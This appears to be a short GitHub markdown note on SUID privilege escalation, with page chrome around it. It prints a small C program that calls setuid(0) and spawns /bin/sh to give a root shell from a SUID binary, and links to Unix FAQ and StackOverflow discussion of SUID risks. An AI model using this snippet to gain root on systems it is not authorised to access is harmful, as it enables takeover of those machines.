Skip to content

Latest commit

 

History

History
30 lines (20 loc) · 783 Bytes

suid.md

File metadata and controls

30 lines (20 loc) · 783 Bytes

SUID

If we can suid an executable, we can use the following code to execute a command as root.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
   setuid( 0 );
   system( "/bin/sh" );

   return 0;
}

http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html <== very interesting https://stackoverflow.com/questions/18698976/suid-not-working-with-shell-script

security risk in suid bash scripts : http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html